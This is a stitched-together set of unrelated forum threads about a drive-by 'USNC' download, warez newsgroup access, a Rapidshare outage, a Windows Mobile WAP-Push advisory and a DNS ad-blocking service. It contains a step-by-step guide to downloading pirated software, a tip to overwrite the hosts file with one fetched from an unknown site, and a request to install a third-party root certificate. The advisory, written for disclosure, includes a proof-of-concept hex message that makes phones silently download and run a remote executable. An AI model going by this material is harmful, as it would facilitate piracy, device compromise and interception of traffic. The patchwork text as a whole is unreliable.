I logged into the forum today from my win10 laptop and everytime I open a page in the forum, an executable file called USNC is downloaded. Any other members facing this?
What is this? Is it a bug? A virous? Or should I install it so as to be able to surf the forum better?
Any advise will be appreciated.
Thanx.
Hello.
Even the same thing happens to me. Every time I open a XDA forum page I will see a window where you plan to save a "USNC" file from the web address https://cs.ffbtas.com
This happens either with a Windows 10 PC or MAC.
What is it about? virus? malware?
Happens here also on my phone. Latest Chrome for Android.
I'm getting the same result. @svetius can you look into it?
Same here. It's piss annoying
Same here. I've like 6 downloads!
Yep just logged on and happening to me everytime a page opens on xda... dont think its a virus most likely a bug.. annoying and laggy though
I'm facing the same problem very annoying
Same here. Windows7
It's a broken targeted advert link
They are broken advertising links from a company called Feature Forward. You know those ad videos that play on all sorts of different websites, including this one? Ever wonder how they work? A targeted ad gets sent to your browser. Somehow these are broken, and all you get is an empty file with no extension. But if you check the packet data its an active link to a file traceable to a domain in Washington. Registered under Feature Forward.

Don´t know what this have to do with xda ? is there any mod admin or someone else who can declare whats happend ? maybe is a secure problem on xda ?

Yes I do!
However the XDA site is affected only. But I don't have any idea to get rid of it. Any help is greatly appreciated.
PS:
Just found out on Virus Total that it may be a clean site: https://www.virustotal.com/en/file/...e6c5e0d40ee7ea3296d52373/analysis/1492037740/
It's good to know this doesn't seem like a cause for concern.
Same here
Same for me!
Same here. I was about to start a new thread and find many guys facing same issue.
Its annoying. Any thread / forum i click, this file gets downloaded automatically.
The same thing happens on anandtech and other sites. Hard to say if it was 100% legit to begin with or if it was a drive by download operation that has just been shut down.
i m also facing same issue and this file keep downloading automatically in my android as well as pc both running on same wifi network and i found that a new folder named file is formed in my download path which is not deleting if i try to delete then comes back in next second and its occupiying my storage it is behaving like some sort of virus how to get rid of this
Those using chrome i just installed Adblock & Adblock Plus and its gotten rid of the downloads
+1
getting the annoying USNC file thing too. and confirm it's on anandtech as well. if it's a broken advert, then guessing removing the rogue advert from the site would sort it no?
i also used internet explorer just to check if its chrome problem and it said "Do you want to open or save usnc from cs.ffbtas.com?"
Anybody any idea?

You can find it @ a.b.warez.pocketpc
or pay 40U$.
Sorry, I'm a newbie with newsgroups.... Could u help me setup the newsgroup for a.b.warez.pocketpc? Any help would be greatly appreciated..... thanks....
I've got the same problem. I would love to check that newsgroup as well but I do not find a newsserver containing that group.
Could somebody please post the address of a newsserver that is able to check that group?
Thanks a lot...
how to enter news groups
get the address of the new group server of your isp
use a newreader program like outlook express or something else
scann for usegroups sellect the newgroup you want and enter it
news groups is not really http based
well are not as a rule anyway
I am living in a students home with LAN-connection to the net. So there is no dial-up ISP. The newsserver of my university does not accept the above mentioned group.
Is there a kind of workaround to read this group?
News groups
For all you newbees; Let me address this message first;
:!: It's illegal to download software from newsgroups! :!:
But I can't stop you from doing so... :twisted:
the best way to read newsgroups is to take 5 steps;
1; Get a program that reads alt.binaries posts; like grabit and install the progam.
2; Get a newsserver account or check your ISP. (mostly they also have access to newsgroups but are limited.)
like;
I use www.usenet.com
www.easynews.com
www.usenetserver.com
www.giganews.com
www.supernews.com
www.astraweb.com
www.usenetmonster.com
www.100proofnews.com
(get a account that gives you unlimited download. Should cost you about 15 U$ a month.)
3; then find a post message site like (www.nfonews.com)where groups tell other people what they are posting and where you can find the files. (like the Voice Command from M$) :lol:
Alot of Dutchies are using FTD. (This is a program)
But there are numerious sites that will give you this info.
4; Once you have the info where you can find your ‘points of interest’, start your grabber software and subscribe your news account info.
Then find the location. E.g; alt.binaries.warez.pocketpc
Grabber finds the location and you can start downloading your ‘points of interest’.
Most files are wrapped as *.rar files. So you need to have a rar program to unpack the files. There are also *.par files. you also need those files if the program is brokendown in hunderds of *.rar files. *.par files are a sort of repair files. Let say you mis a couple of *.rar files of LOTR dvd. (yes you can find everything) Mostly the uploader will place also *.par files to repair the lost *rar files. So you still have the full program you are downloading.
5; The last thing you have to do is buy a bigger hard disk. B/c you are constantly downloading new things.. 120gb is not big.

There are rumors that Rapidshare.com, the German file sharing and data storage giant, has been shut down by the authorities after a court order.
German collections agency GEMA have reportedly won a temporary injunction against both RapidShare.de and RapidShare.com, according to a report.
However no court records have revealed any issued Rapidshare court order as of yet.
Currently rapidshare.com is not working but rapidshare.de is.
Users have been experiencing errors such as: "The following error was encountered: * Connection Failed The system returned: connection refused"
A Wikipedia entry was made that read: "As of 19 January 2008 16:00 GMT, Rapidshare AG’s servers were shutdown by anti-piracy authorities in Germany. More than hundreds of Rapidshare servers were seized from their offices in Berlin although no arrests were made. Sources said, authorities are contemplating pursuing legal action against users who distribute and download pirated copies of software and movies from these servers."
It was quickly removed.
Rapidshare.com, formerly Rapidshare.de, has been widely used as a vehicle for the transfer and sharing of pornography. Site such as HCMF.com commonly used the site as a means of perpetuating the illegal sharing of pornography.
A NSFW and EXTREMELY graphic example of its use (or abuse, depending on your view) can be found here. (you must be 18) As you can see, below the photo are the links to where the pieces needed to make one file exist (or existed) on Rapidshare.
Rapidshare.com, and Filefactory.com have also been abused by spammers, says Dave Marcus, security research and communications manager for McAfee's Avert Labs.
The "official" word is that the downtime is said to have been caused by a server overload.
Rapidshare technician Steven Gircham has reportedly commented on this issue - "There are rumors concerning attacks made on the Rapidshare.com servers. There are also rumors that Rapidshare has been shut down by a court order. These rumors are false. We would like to apologize to our users and inform them that no data has been lost. There have been some hardware issues as a result of high bandwidth and server overload. We are doing our very best to resolve the hardware issues."
you can still view the site via IP - 80.239.151.250
They either got DOS attacked, and are having trouble getting there DNS working or they want it to at least appear that way. At the moment, it would appear that they where NOT taken down by any "anti-piracy orginizations"
Story developing...
STILL its not working!!!! can't download anything from the site! hope it works soon
NOOOOOOOOOOOOOOOOOO. I just uploaded there as well.
Now I know why those links didnt work today.. Hope they sort it out soon because theres alot of rom hosted with rapidshare
Since a few hours, rapidshare.com is down. But is it down? No Smile Just the nameservers. So .... you can fix it.
Just download following & input the content into your windows hosts file. Fixed.
(hosts: C:\Windows\System32\drivers\etc\hosts)
Code:
http://maghia.free.fr/hosts.txt
If any problems happen, open cmd & input: ipconfig /flushdns
Enjoy!

Thanks for the information mxantho, you're a genius, my downloads are working again.
And remember, you can edit the hosts file on Vista but you can't save it overwiting the old one.
Just copy your C:\Windows\System32\drivers\etc\hosts file into the desktop, open with notepad, insert the rapidshare entries found here then save.
Remove the .TXT suffix and copy it back in the C:\Windows\System32\drivers\etc\ directory
RS is facing some maintenance trouble. Everything should go back to normal in couple of hours.
The main Homepage is up and running... But I can't still download... I am gonna try mxsantho method
hope it works for me
tested it works
Rapidshare is back and running!
Yep just to confirm, downloading fine off rapidshare.
Well that was a worry over nothing, site ok and no problems here now.
Hi mrvanx how are things?

Hey dude, not bad. (talk on 4wm)
It's all fine now
Windows Mobile Security Advisory: Manufacturers leave device open for WAP-Push based attacks
--------------------------------------------------------------------------------------------
Description:
------------
WAP Push SI (Service Indication) and SL (Service Load) are so called "Service SMS". These messages are used by operators to notify about software updates or to deploy them directly. Microsoft implemented a security policy to ensure that these messages are accepted only from trusted orginators. This policy is defined in the device registry. If improper settings are applied to this policy attackers can send malicious content to the device which then displays or executes the content immediately. This leaves the device open for further attack scenarios.
Workaround / Fixes:
-------------------
Open your device registry and navigate to:
HKLM\Security\Policies\Policies
Check the values of the following DWORDs:
0x0000100c
and
0x0000100d
Microsofts recommends the following values for these:
0x0000100c : 0x800
0x0000100d : 0xc00
If they are for example 0x840 and 0xc40 your device is wide open and vulnerable. Change the keys to
the Microsoft recommendation. They are effective immediately.
Proof of concept:
-----------------
For testing purposes check the above registry keys and set them to a faulty value (like the above
0x840 and 0xc40). Then use a program like PDUSpy or HushSMS to do some testings.
HushSMS is able to send these kind of messages from windows mobile based devices.
Get HushSMS from http://www.silentservices.de/HushSMS.html
Download the latest version (currently v0.6beta) and install it on your device.
Execute HushSMS and type in the number of the receipient windows mobile phone.
In the message body field type in the following (note without a leading HTTP://!!!):
www.silentservices.de/wapsltest.exe
Click Send->Send WAPSL
Watch your target device. If it starts connecting via GPRS it will then download the above sample
program and executes it immediatly without user interaction.
If you want to test your target device with PDUSpy use the follwing sample message:
UDH: 05040b8423f0
Message(hex):
DC0605B0AF82B48302066A008509037777772e73696c656e7473657276696365732e64652f77617074657374736c2e65786
5000501
Edit: Added a youtube video in post #4
EDIT 19.09.2008: Some clarifications
Well, I received my brand new raphael two weeks ago and guess what, the values set by HTC by default are even more worse.
They set 4108 (0x100c) to 0x840
and set 4109 (0x100d) to 0x40
These means in detail:
Accept WAP Push Service Load Messages orgination from authenticated and trusted PPGs (Push Proxy Getways) AND any.
Accept WAP Push Service Indication Messages origination from any.
Hell, I informed HTC a long while ago about these issues, I wrote them several mails but all I got was some standard response like "Thank you, we will look into it".
However some may say:"Hey that's not that worse, I have opera set as my default browser and opera asks me each time what I want to do with this automagically downloaded file, so I'm safe as I always click on drop or simply close my opera window."
Well, since this is fine for people who "know what they are doing", but is is not for or these other people around there taht are using these devices and even don't have clue about what WAP Push is or what a security policy is or simply don't mind on clicking "accept" each time a message pops up ( and trust me when I say there are more people like this out there as you may guess).
Imagine the following scenario:
A malicious freak sets up a domain which is called www.htcupdateservice.com and hosts dangerous files on that domain. Now he sends out WAP Push SL messages to normal users of Windows Mobile phones with these faulty settings with the text:"HTC has to inform you about a critical security update. Donwload ist at http://www.htcupdateservice.com/Update3.6.9.exe"
What do you guess what enough people out there will do? Do you really think that most people that are not trained about security won't click on execute or download in their opera browser?
And what about people that dont have opera set as their default browser? You guessed right, the file will be downloaded and executed without user interaction. BOOM...
Here's another scenario:
Imagine a security vunlerability in opera mobile is discovered that can be exploited if the user visits a malicious webpages. You can guess how someone can force the user to visit this infectious webpage, can't you? ;-)
Or, let's say a malicious freak on the net sets up a webpages that utilizes CSRF attacks, or XSS, or whatever web based attack you may know. Using WAP Push SL messages he can force your browser to become the attacker and the victim with only one message.
It's up to you to care about this or not since HTC doesn't seem to care.
Cheers
This is good info, though I don't see it as a huge hole since there is still opportunity to block the file by the end-user...which ultimately is required in both settings scenarios to stop the file executing.
From where are you getting these alerts, MSDN? I'd like to get in on receiving them.

For SI you are right since the user only gets notified with an URL, but I would call it a huge whole for the SL things. SL messages get executed by the device immediately without the user having a way to block or stop this (if the message is set up accordingly; there are 3 message options as per standard and I refer to the silent execution flag).
If you are watching your device while the messages comes in you can see that a gprs connection is beeing made (if you are connected the whole time with an unlimited data plan for example you wouldnt even notice this).
Just give it try with the method I posted in the advisory with HushSMS (not advertising my program here, just giving a proof of concept).
Both advisories are made by me since I dicovered both flaws.
Cheers
I just made a youtube video to demonstrate what this vulnerability means.
Watch it here: http://de.youtube.com/watch?v=QhJ5SgD-bdQ
I did try it before I posted and my results in each instance (default and with suggested fix) incurred a user prompt. Albeit the default setting did not prompt for the executable to run, but still was prompted to download via IE - recommeded setting prompts at download and execution (see signature for my setup).
Like I said it is good info and indeed a security risk.
Will you share from where this info came?

Well this is interesting. So you say you had the same faulty registry keys like the new kaiser wm 6.1 rom had? (100c and 100d set to 840 and c40)
As you may have seen in the video my IE simply did not ask to open the file. It just gets executed...
Well, then at least your IE settings saved you from getting r00ted

This vulnerability was researched by me about 1 year ago. But the default settings for SL and SI messages was always set correct in the last ROM versions for the devices I had. I just looked at the default settings on this new kaiser rom and found that they left it open for whatever reason and so I published this advisory. I already contacted HTC and am waiting for a response.
hi, i've got htc raphael and values are
0x0000100c : 0x800
0x0000100d : 0x40
not
0x0000100c : 0x800
0x0000100d : 0xc00
but still flaw works. luckly i have opera as default browser but i wanted to findout how can achive download only option.
also by changing to those suggested values do i disable my phones wappush message receive capability?
thanks
Hello,
Good day, I would like to thank you for this post about Wap Push Messages. I have a straing problem with my HTC Kaiser Windows Mobil 6.1. My device don't notify me about any WAP Push Messages. I have the 800 & c00 vales in my registry, I changed them to 840 & c40 and send a test message as you suggest and it's started downloading after a period of time without asking me.
I changed it back to Microsoft recommends and send a new message again but it didn't appear in inbox message and my cell didn't notify me about new WAP PUSH message.
I'm going crazy with this, what's the problem, can you help me ?
Regards,

I don't understand what exactly your promblem is with. If you set the Microsoft recommended values it simply tell the device which security policy to apply to wich kind of messages. In the case of the two values the settings say that WAP-Push SL & SI messages have to come from trusted push proxy gateways. If you set them to the faulty values (840&c40) the device accepts these kind of messages coming from any. If the correct (or recommended) values are set the device simply drops or discards the messages without any user notification. So your described behaviour looks normal to me.
(Note: for those who are familiar with device roles and policies, I'm not going into deep here to avoid confusion)
Thanks for fast replay,
My problem is that I don't get notification from my mobile about new WAP-Push Messagess. I think when I receive an new one it must be in the inbox. My problem is, WAP-Push Messagess doesn't appear in the SMS/inbox folder.
Thanks

Well 0x800 for 0x100c is fine but 0x40 for 0x100d is not.
Policy 4108 (0x100c) handles WAP Push Service Load (SL) Messages
Policy 4109 (0x100d) handles WAP Push Service Indication (SI) Messages
So if policy 4109 (0x100d) is set to 40 this means that the device will accept messages from any instead of trusted push proxy gateways only.
So the settings you wrote above mean the following:
4108 (0x100c) = 0x800 : Accept WAP Push Service Load (SL) messages only from trusted and authenticated push proxy gateways
4109 (0x100d) = 0x40 : Accept WAP Push Service Indication messages from any originator and no authentication is needed
While Service Indication messages are not as harmful as Service Load messages, they still can try to fool people into clicking the download now option. Since the orginator is hidden and you only see network message as the sender, this kind of attack can be used to spoof valid operator messages.
I suggest you set 4109 (0x100d) to a value of 0xc40.
These settings do not prevent your device from receiving these kind of messages, but they have to come from an authenticated and trusted push proxy gateway or source.

Dear c0rnholio,
I think it's SL, I talking about the one you receive an option to download the content for Internet. Because my mobile provider send a WAP-Push to download ringtone over GPRS. So, they told me you need to do some modification in your mobile to receive this kind of messages. My mobile don't save the WAP-Push in the inbox folder. But when I put my SIM in Nokia phone I receive those WAP-Push.
As A test. I sent a WAPSL message using HushSMS to my phone it done not do anything. I sent one to Nokia Device it's reading it and give me an option to download the content.

Ah, OK, now I got you. Well, if the policy is set right your device will discard the message you sent with HushSMS because it is not coming from a trusted and authenticated source. But you should still be able to receive these messages from your service provider if your device is properly provisioned.
The fact that you can receive them on your nokia just indicates that nokia also has lazy security settings for these kind of messages.
If you cannot receive your ringtone from your provider when the correct policy settings are applied it seems that your device is not provisioned to trust your service provider. I suggest you enable it temporary by setting the unsecure values and after receiption of your ringtones reset them to the secure values.

Hi,
It seems that the value 0x40 for 0x100d working well for me I received notification and the message stored in the inbox, any idea !!
But I don't know who changed the both value to be 0x480 & 0xc00
Something to mention, two weeks ago I received my first WAP-Push but it was sent from unauthorized source !

Hi,
It seems that the value 0x40 for 0x100d working well for me I received notification and the message stored in the inbox, any idea !!
But I don't know who changed the both value to be 0x480 & 0xc00

It seems you misunderstood me, or I'm simply not getting your point here.
Yes, with a value of 0x40 for 0x100d you can receive WAP Push SI messages from anyone. This might become a risk. The secure setting for this policy is 0xc00. This will save you from unwanted SI messages but may block your providers ringtone messages.
The default values you had where set from HTC (or whatever ROM you migth have installed) with the delivery of the ROM that is installed on the device. That's the final point of the advisory. The ROM manufacturer has left the device open for these kind of attacks.
However a final word in our little discussion:
If you want to be able to receive WAP Push messages from an untrusted and unauthenticated source then leave the settings as they were at the beginning. Be warned as this may be a security risk.
If you don't want to receive WAP Push messages from untrusted and unsauthenticated origins, then change the values as described in the first post.
As a rule of thumb: If you want to receive these messages, even if they come from untrusted and unauthenticated sources, but only want this temporary (for example if you know that your provider will send you a ringtone in the next minutes) then set the values to 0x40 each and after you received what you want reset them to the recommended values on the first post.
I'm out...
cheers
Thanks for sharing this usfull information with us.
I don't understand the value '0xc00' -- does that mean just change it to zero's? That's what I did using the registry editor... there were both 'hex' and 'dec' settings, with the 'hex' dword value appearing to be the one that needed fixing -- so I changed 0000100c to 800 and 100d to 0 -- is this right, or have I inadvertently instructed orbiting alien spacecraft to open fire upon earth?
Maybe screenshots, or a little more explanation on exactly what registry changes need to be made, I'm not used to ones with both hex and dec entries...
HTC has uploaded a new Hot fix Today
HTC says on their support site:
"Hot Fix to enhance WAP security for HTC Touch Pro" and follows up with this info:
"When users access the Internet via wireless, some websites may present security concerns. This hot fix enhances the URL filter function in WAP (Wireless Access Protocol) security to prevent access to those web sites which are insecure."
Please - may anyone find out if this hot fix is an important update
This is the Hot Fix
Here is the Hot Fix from HTC.com
looks to me like all it is is a way to block websites that may not work right on your phone or may cause security problems. personally i like the full access and dont want to be limited on which sites i can visit even if they do "think" they are a "security" issue.
Where ist he link on the HTC site about this.. i cant find it anywhere
Here the reg changes :
[HKEY_LOCAL_MACHINE\Security\Policies\Policies]
"0000100c"=dword:800
"0000100d"=dword:C40
Original cab attached.
EDIT: original link here.

Pardon my ignorance but what is this reg edit actually doing?
It's obviously not a simple website blacklist. Does it restrict you from entering data on non-HTTPS websites while on wireless or something?
http://msdn.microsoft.com/en-us/library/ms890523.aspx
Those 2 security policies control that. The dword value is the role mask.
More info: http://msdn.microsoft.com/en-us/library/aa455966.aspx
This page has a list of security roles that fit the role mask at the bottom: http://www.xs4all.nl/~itsme/projects/xda/smartphone-policies.html
100c is set to:
SECROLE_PPG_TRUSTED 2048 Trusted Push Proxy Gateway role.
Messages assigned this role indicate that the content sent by the Push Initiator is trusted by the Push Proxy Gateway. This role implies that the device trusts the Push Proxy Gateway (SECROLE_TRUSTED_PPG).

100d is set to:
SECROLE_PPG_TRUSTED 2048 Trusted Push Proxy Gateway role.
SECROLE_PPG_AUTH 1024 Push Initiator Authenticated role.
Messages assigned this role indicate that the Push Initiator is authenticated by the Push Proxy Gateway. This role implies that the device trusts the Push Proxy Gateway (SECROLE_TRUSTED_PPG).
SECROLE_USER_UNAUTH 64 User Unauthenticated role.
This role is assigned to unsigned WAP push messages, and to unsigned .cab files. This role provides permissions to install a Home screen or ring tones.

Click to collapse
The change from default is allowing SECROLE_USER_UNAUTH in 100d.
I use Mac computers... So i cant install it with an .exe extension.
Are there someone with this file in .cab?
thanx
Please read this first!
The entire system is build up for demonstration and should show a new way to protect against Internet and Online threats. It should demonstrate that it is possible within the Internet to protect user, devices and there data.
The entire System is a pure & 100% DNS filter system without the usage of any kind of proxy. My goal is it to proof security is possible without using any kind of proxy.
A lot of sites using HTTPS communications within the Internet and therefore I offer a special self signed Root Certificate which block any existing domain on the blacklist with a valid HTTPS connection. Different sites using broken HTTPS Traffic to detect Adblock technologies and some sites might require the keweon Root Certificate. All HTTPS connections are only used to prevent browser and application errors within your Operation Systems.
From the technical point of few a root certificate and just a DNS server is never a threat for any users or any kind of data. The entire system is protected within various ways to prevent data stealing from users and devices.
For actual reasons and because of many discussions I want to inform you about threat possibilities:
1. DNS Server which are not DNS Server and they act as (transparent) Proxy are able to redirect the entire user traffic for Data Analysis or Data stealing.
2. DNS Server which are not DNS Server and they act as (transparent) Proxy can easily redirect traffic to a Web Server and infect your system with this kind of online threats:
Botnets, Cryptoware, Fake Software, Malware, Miningware, Online Worms, Phishing, Ransomware, Remote Keyloggers, Rogue Security Software, Spyware, Trojans and Virus.
This kind of infections are possible via HTTP (via 80 or any other port) or HTTPS (via 443 or any other port) with or without a valid SSL Certificate. A single Let'sEncrypt can easily support this kind of Online Threats.
3. DNS Server which are not DNS Server and they act as (transparent) Proxy can use all methods of attacks in Point 2 to act as Botnet or Cache Server to spread this kind of attacks by a simple HTTP infection and download additional payload via HTTP (via 80 or any other port) or HTTPS (via 443 or any other port) with a single Let'sEncrypt certificate.
4. DNS Server which are not DNS Server and they act as (transparent) Proxy can use a self signed root certificate to steal passwords and logins when you install this. The keweon Root Certificate is designed to protect users and against HTTPS errors which will happens because of filter or blocking HTTPS traffic. When a keweonDNS Server is setup as a (transparent) Proxy it is possible to redirect the entire user traffic and get user login and passwords which is generally known as "MITM ATTACK".
Please take note that the usage of a Root Certificate from someone you don't know can cause serious problems when the Server is build up to target user. With a MITM Attack it is possible to get data, passwords and logon credentials.
5. The entire keweonDNS Project is build and invented to protect users, there Data and its protecting against almost all Online threats. Various fuses are build into the entire environments many times.
6. The keweon Servers do not any kind of Data collection. This is one of my core visions. Why I should build up a system which prevent data collection system and then I will do it by myself? There is also NO (!) Data Collection even on Servers OS Level.
The entire keweonDNS System runs public with global access since 2014. At this point let me say thanks a lot to all users for there trust into me and the entire keweonDNS solution.
Thanks a lot to each single user!!

FAQ:
1) Does my traffic runs trough the keweon System?
Not even one byte from you or your device will flow through my servers. Also the same with HTTPS things. Take a sniffer or wireshark or NirSoft Network Suites and you will be surprised. All HTTPS Ads traffic will be terminated with "0" bytes which will show to you that there is no sniffing or spying from my side.

How to use keweon?
It's very easy:
1. Take the DNS Servers
2. Install the keweon Adblock Root Certificate ( <<< THIS IS ONLY A RECOMMENDATION)
3. Change your Internet Router or your Mobile Device to it
4. Reboot (Router and PC)
5. Done! That's it.
6. See the Internet within a never seen way
In the meantime the keweon AdBlock Root Certificate has more than 4 Millions global downloads. This certificate is not required but for a few websites it is mandatory.
This certificate will only surpress the certificate errors. Not all of them because I'm still working on this.
On iOS Devices just open Safari. With Android use the default Browser and go to http://pki.keweon.center and after 3 sec. the download of the certificate will start. JUST THE DOWNLOAD!! You need to install it by yourself. More facts about the keweon Root Certificate will comming soon on the website.
Test the DNS Servers within this List and choose the one which is the fastest for you:
https://forum.xda-developers.com/android/software-hacking/keweon-privacy-online-security-t3681139#6
How to use it on Android devices:
Use an App of your choice or use this. I also use this app and from my point of view this is the worldwide best App to change the DNS settings on Android devices. No Root Access is required. The developer is from Germany and I have had a good contact to him. The app is free of charge and also free of advertising. The source code for this app is also available on GitHub. If you have troubles with it or want to have additonal features than contact the developer. He would be happy about every feedback.

How to use it on iOS/Apple devices:
All my iOS Tester using this App. If you have a better one or you are able to translate the Android App to XCode - your welcome.

You are using Chrome and the DNS thing is not working? (thanks a lot @NamitNayan for this info)
Google wants to prevent Adblocking via DNS. Therefore they have enabled an experimental Switch by default to prevent DNS blocking.
Take a look at here if it's not working >>> HERE <<< and fix the problem within seconds.
Technical Details
Public available DNS:
Take a look at this thread:
https://forum.xda-developers.com/showpost.php?p=73985083&postcount=6
Background System:
The current system needs 42 Server (!) in the Background that everything is working.
Actually the entire infrastructure is hosted on 5 different providers.
How does it work?
The entire System works with several Servers. Ubuntu, FreeBSD 11 and my own build Operation System based on UNIX is installed. The entire developement and all source codes are not public available. There is more than 14 yrs of work inside.
Current Blacklist size:
39.585.224 Domains (export to TXT)
Current Virus/Ransomware Blacklist size:
18.853.587 Domains (export to TXT)
Current Blacklist contains:
Tracker, Malware, Spyware, Adware, Advertising, Poison Websites Fake Software (Adobe Flash Updates which is in real Malware/Virus) & a few false/positive Sites.
To cover all HTTPS errors because a lot of Advertising Vendors display and spread this crap via https to the world I have created the keweon Root Certificate. Allmost every Malware and Spyware will be installed via HTTPS. The Root Certificate is only responsible to suppress all https error messages for all this Advertising and poison things.
Which Systems are working and acting with keweon?
The keweon System is tested on almost every Operation System and Devices (iOS, Android, Xbox, Playstation, Samsung TV, etc... ) It's currently running within 3 companies because I know the Admins there. You can use it within you private environment but please DO NOT USE it within a Business environment.
Why I can't use it within a Business environment?
There are 2 reasons for it.
1. I want that the entire system becomes free for private and personal usage and I already have requests from Companies and even from the Public Sector that they are interested about to use the System. As long as there are too many error within the System I don't have the option to sell this as an Business solution. That's the deal.
2. Private for free, Business needs to license it. Of cause, the current system needs to be a bigger and stable system..
Does my traffic runs trough the keweon System?
Not even one byte from you or your device will flows through my servers. Also the same with the HTTPS things. Take a sniffer or wireshark or NirSoft Network Suites and you will be surprised. All HTTPS Ads traffic will be terminated with "0" bytes which will show to you that there is no sniffing or spying from my side.
It would not make any sense that I drop all this crap traffic, blame to the advertising Industrie and I do exactly this things which I want to prevent?
Btw... This fact was also the problem why I have had no success with investors. They want that I enable data sniffing or user sniffing but I would rather throw away the entire system & developement than doing what they want.
I need your help and support
1. Support me with Black and White lists
It’s veryimportant to know that keweonDNS will NEVER (!) do a censorship of the Internet. If you want to have i.e. Facebook blocked via HOSTS file, it’s up to you. But this will never be done via keweonDNS. I have other plans with porn and violence but this is a stage with keweon kidsafe which is currently far, far away.
IMPORTANT:
Any list you want to send to me has to be send as an attachment within an EMail. I will give you a short example for this.
If you have a Raspberry PI and you have a real cute blacklist than copy all the addresses (or URL’s) into a TXT file and send it to me via mail. The same with some important whitelists. Don't care about the size.
Don’t copy the addresses or URL's into Subject or Body of this Mail because this will never arrive. I don’t want to track and check all the mails and for security reasons only attachments will be processed. Please make sure you only send ZIP files that contains the TXT file or send native TXT files. Everything else will be dropped for security reasons. Don’t care about double entries and it doesn’t matters if you send the same TXT file 5 or 10 times again and again.
Websites which contains errors or Whitelist needs to be processed within the same way. Send the TXT or ZiP – that’s it.
If you want to send blacklists please send them to: [email protected]
If you want to send whitelists please send them to: [email protected]
2. Support me with false/positive on keweonDNS
If you open a Site and this site stay blank than copy the URL into a TXT file and send it to me. You do not need to collect them. If you send me 50 or 100 Mails and each of them contains only 1 link or address this doesn't matters.
If you want to send URL’s or Links which are blocked and should be not blocked then send them to: [email protected]
If you open a Website and this site looks some kind of strange because of missing CSS & other pretty Website things than take the URL, copy to TXT and send this TXT to: [email protected]
3. Router Compatibility:
With a lot of SOHO Router it is possible to change the IPv6 and IPv4 default DNS Server Address. But there are are also a lot of Router outside where this is not possible.
If you can provide some instructions and screenshots within a PDF I will release this on the Webpage. I have the experience that the AVM FritzBox sometimes will work and sometimes not. That is related to the fact that the Provider support IPv6 and you are only able to change the IPv4 DNS Server Address. With the tiny tool "FBEDITOR" it should be possible to change also the default IPv6 DNS Server Address on AVM Boxes.
German Telekom Router are also a peace of crap. There you can change nothing except the Password and the WLAN key. The work arround by selecting "Different Provider" (anderer Anbieter) where you can set manualy the DNS Server will not work.
Unfortunately I only have CISCO, LINKSYS and ASUS Hardware running with i.e. DD-WRT. I appreciate if you can help me with creating instructions how to change DNS v4 & v6 settings on your Home/SOHO/Wireless Router. No rush on this because all this instructions will be released on the Website.
Million thanks in advance!

Works like a charm better than adaway just download a dns app just have to change the dns then your done
Works like a charm. Thank you. Is there any difference between this and using VPN-based adblocking apps? (importing our own blacklists into it)

This should be no Problem. But if you are using with the VPN App a different DNS Server than my system might not longer work. No clue about your VPN & DNS settings.
Please keep in mind, the last DNS Server rules. If you set my DNS Server and than u run a VPN App with a different DNS Server u will "overwrite" my DNS Server settings.
From the blacklist itself that should fit. Haven't had this bevor. ?
Send me PM if you have further questions.
Anyway, thanks a lot.
UPDATE:
The current Infrastructure will be upgraded to 10 GBit (!) DNS Server power and much more faster system.
Please notice that the DNS Server addresses will change during the next weeks.
After this upgrade you can spread the system to all of your friends.
Thanks a lot & more will comming soon on the website
...which is currently still under developement...

Working well, but I get 'invalid security certificate' error popup on most pages. Any way to eliminate?
If this URLs are wrong within the blacklist, do me a favor and send them to me to whitelist them.
Copy the URLs from the Browser into a TXT file and send this to. Keep in mind only attachments will arrive. It will help not if you type the addresses or URLs within the mail Body.
[email protected]
Doesn't matters if you send 100 Mails per Day because the will automatically processed during the night.
I'm happy for every wrong listed URL. Million thanks in advance for your feedback.
If this is affecting websites which are not false positive than you need to wait a few days. Currently I'm working to terminate all https crap from the advertising side. But therefore it is a must to have the keweon Root Certificate installed. Right now I need to terminate every https error manually.
It is incredible how many poison sites work with HTTPS so it was a need to develope a different solution than doing this always manually. The server installation is in progress but first I need to finalize the tests. Should be done until next weekend.
Update 1:
Please take a look at the second posting. The first 10Gbit DNS Server is online and working. Yeaaahhhhh!!!
Germany:
10Gbit DNS v4: 89.33.16.222
10Gbit DNS v6: 2a01:367:c1f2::448
Of cause it's a shared 10Gbit - but it's in Germany and damn fast. Next month the second 10Gbit in USA will be online. Installation is already in progress.
Update 2:
Today at 3:00 AM (Germany GMT+1) after the daily reboot procedure the entire HTTPS problem is solved.
If you have the keweon Root Certificate installed EVERY (!) HTTPS error is gone. I was developing this procedure since more than 2 yrs and during the last 3 months I have had no additional problems or errors.
The entire HTTPS crap will be terminated and to make sure that this is done from my site, every "keweon termination" is marked with a specific favicon. Sometimes it happens that a site still has a problem with the HTTPS errors even when everything is working on my site. This happens to HTTPS overlays or HTTPS calls with bad coded Java Scripts. If this error happens that you receive a Banner or Overlay with HTTPS error message than please reload the site and the error will never occurs again.
The problem is related to the programmers of the websites. Sometimes I have the feeling that some of them still use FRONTPAGE to develope websites. Anyway, just reload and that's it.
Now the big question - is this save?
Absolut! I will terminate only the evil traffic and within the tunnel there are no data. Let's assume I will do this with Paypal - what will happens?
When the URL's "PayPal and PayPalObjects" are on my blacklists than it is not possible at all for you to contact the website. Because of this it is also not possible to grab any input from your site because the login to PayPal would be not longer possible. Please feel so free and track the traffic. I even would help to investigate and help you to take a deeper look inside.
How is it possible?
Please understand that this is a very difficult thing to explain and on the other hand everything what I would release here in XDA is also visible to "the dark side" and they might have the option to do strike against this. Of cause, I will release more informations on the website which will be the next thing during the next 2 weeks. Currently 40 Servers within the Background only working for terminate this problem. Yes, this is a raised middlefinger to the entire & global ads industrie and I'm so damn proud of my solution.
Please remember: The keweon Root Certificate is still not required. If you have concerns than it is OK for me if you do not use it. If you would like to have a clean and "https error confirmation free" Internet than you should to install it. The certificate will be available at: http://pki.keweon.center - the download will start after 3 seconds and you need to install it.
Update 3:
This is the cutest news. Since one month a company was testing the solution and with the "Sophos" appliance it was possible to configure it within a way that the local installation of the "keweon Root Certificate" was not longer required.
I guess Sophos will not realy notice me but from today I can say that keweon official supports the "Sophos Appliance". The tutorial is in progress and as soon as this is finished I will release it. I hope I will get more instructions from your side how to mange this with other Systems. (CISCO, Checkpoint, PaloAlto and other heavy firewall and security systems)
